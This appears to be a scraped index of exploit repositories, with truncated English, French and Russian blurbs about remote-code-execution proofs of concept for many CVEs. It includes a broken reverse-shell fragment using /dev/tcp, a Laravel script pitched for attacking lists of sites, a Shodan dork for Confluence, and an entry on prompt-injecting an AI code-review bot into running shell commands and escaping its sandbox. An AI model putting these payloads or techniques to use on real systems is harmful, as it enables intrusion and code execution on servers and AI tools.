CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

cve-2024-32002-poc-rce

CVE-2024-32002 RCE POC POC для CVE-2024-32002, демонстрирующий удалённое выполнение кода RCE. См. cve-2024-32002-poc-rce для связанного репозитория подмодуля. Что содержит этот репозиторий Символическая ссылка с произвольным именем, указывающая на каталог .git. Файл .gitmodules, определяющий...

CVE_2020_35848

🧨 CVE‑2020‑35848 – Laboratoire d’injection NoSQL RCE sur Cockpit CMS 0.11.2 La CVE‑2020‑35848 affecte les versions d’Agentejo Cockpit CMS antérieures à 0.11.2, en introduisant une vulnérabilité critique d’injection NoSQL dans le point de terminaison /auth/newpassword. Cette faille permet à des...

CVE-2020-8840

CVE-2020-8840 : Vulnérabilité d'exécution de code à distance dans FasterXML/jackson-databind 0x00 Introduction jackson-databind est une bibliothèque de traitement JSON appartenant au groupe de projet FasterXML. 0x01 Aperçu de la vulnérabilité Le 19 février, NVD a publié un avis de sécurité...

Laravel-CVE-2018-15133

Laravel-CVE-2018-15133 This Python script will allow you to create lists of sites and exploit them quickly. Prerequisites: python curl Usage: $ python cve.py Execute the script $ "Which site do you want to attack =" http:victime.com/ Add the site to the list $ chmod +x nikmok.txt gives 777...

CVE-2023-26469

CVE-2023-26469 REC PoC Ce dépôt contient un script d'exploitation pour CVE-2023-26469, qui permet à un attaquant d'exploiter un parcours de chemin path traversal pour accéder à des fichiers et exécuter du code sur un serveur exécutant Jorani 1.0.0. De plus, le script inclut une fonctionnalité de...

Spring4ShellPoC

Spring4ShellPoC Spring4Shell PoC CVE-2022-22965 Juste en train de jouer avec l'exploit. Modifié à partir du bon travail réalisé par BobTheShopLifter, https://github.com/BobTheShoplifter/Spring4Shell-POC et TryHackMe, https://tryhackme.com/room/spring4shell Juste quelques ajustements. Ajouté...

CVE2_Jenkins_RCE

Détournement WebSocket CLI Jenkins - PoC Un exploit de preuve de concept de détournement WebSocket cross-site pour CVE-2024-23898 — une vulnérabilité affectant les versions de Jenkins 2.217-2.441. Cet exploit cible le CLI Jenkins qui peut être utilisé pour accéder à distance et exécuter des...

Next.js-RCE-Scanner---CVE-2025-55182-CVE-2025-66478

🔍 Scanneur RCE Next.js - CVE-2025-55182 & CVE-2025-66478 Un scanner puissant et facile à utiliser pour détecter les vulnérabilités RCE critiques dans les applications Next.js 🎯 Aperçu Un scanner de vulnérabilités avancé pour détecter CVE-2025-55182 et CVE-2025-66478 - des vulnérabilités critiques...

CVE-2025-27520

CVE-2025-27520 эксплойт для CVE-2025-27520. Уязвимость удалённого выполнения кода RCE, вызванная небезопасной десериализацией в последней версии v1.4.2 BentoML. Она позволяет любому неаутентифицированному пользователю выполнять произвольный код на сервере. Небезопасный фрагмент кода находится в...

CVE-2026-14282

CVE-2026-14282 — плагин GoDAM для WordPress RCE Автор: nullwhisper Назначение: только авторизованные исследования безопасности / проверка уязвимостей. Что это? Версии плагина GoDAM для WordPress = 1.12.2 регистрируют поле WPForms под названием godamrecord. Обработчик загрузки savevideofile...

CVE-2026-Pending-Django-Summernote-RCE

CVE-2026-XXXXX ожидает: django-summernote Произвольная загрузка файлов RCE Этот репозиторий содержит Proof of Concept PoC для условного удалённого выполнения кода RCE уязвимости, обнаруженной в django-summernote версии 0.8.20.0 и более ранних. Информация об уязвимости Продукт : django-summernote...

CVE-2025-32433

CVE-2025-32433 – Vulnérabilité RCE dans Erlang/OTP SSH 📌 Résumé CVE-2025-32433 est une vulnérabilité d'exécution de code à distance RCE affectant le démon SSH d'Erlang/OTP. La cause racine est une gestion incorrecte des requêtes de canal SSH pré-authentification qui peuvent être façonnées par un...

Confluence-CVE-2022-26134

Confluence-CVE-2022-26134 dork on shodan https://www.shodan.io/search?query=http.favicon.hash%3A-305179312&page=2 Curl poc curl -v...

CVE-2022-36446-Webmin-RCE

CVE-2022-36446 — Webmin 1.997 RCE Authenticated Эксплойт для уязвимости Remote Code Execution в Webmin версиях старше 1.997, через модуль Software Package Updates. Как это работает? Модуль Software Package Updates Webmin не санитизирует должным образом параметр u перед передачей его системе...

CVE-2026-1337-AI-Coding-Assistant-Prompt-Injection-to-Sandbox-Escape

CVE-2026-1337 – Инъекция подсказок в ИИ-ассистента кодинга с переходом к RCE 📖 Обзор Уязвимость инъекции промптов в боте проверки кода на основе ИИ позволяет атакующему внедрять произвольные shell-команды, манипулируя «исправлением», предлагаемым ботом. Санитайзер использует простой чёрный список...

CVE-2017-5638

CVE-2017-5638 CVE-2017-5638 Exploit RCE Apache Struts2 🛠️ Description Ceci est un PoC simple basé sur Python pour CVE-2017-5638 — une vulnérabilité d'exécution de code à distance dans Apache Struts 2. ⚠️ Avertissement Ce code est fourni à des fins éducatives uniquement. Ne l'utilisez PAS sur un...

CVE-2021-41805

CVE-2021-41805 Hashicorp Consul RCE via l'API HashiCorp Consul Enterprise avant 1.8.17, 1.9.x avant 1.9.11, et 1.10.x avant 1.10.4 présente un contrôle d'accès incorrect. Un jeton ACL avec les permissions par défaut operator:write dans un espace de noms peut être utilisé pour une escalade de...

CVE-2021-44228

CVE-2021-44228 Récurrence de la vulnérabilité 1. Exécutez d'abord RmiServer pour créer un service de registre RMI. 2. Exécutez Log4jTest, si vous utilisez Windows, la calculatrice apparaîtra...

CVE-2020-35476

CVE-2020-35476 Une vulnérabilité d'exécution de code à distance se produit dans OpenTSDB jusqu'à la version 2.4.0 via une injection de commande dans le paramètre yrange. Pas terminé et ne fonctionne pas. La plupart du code est présent, mais la payload doit être corrigée...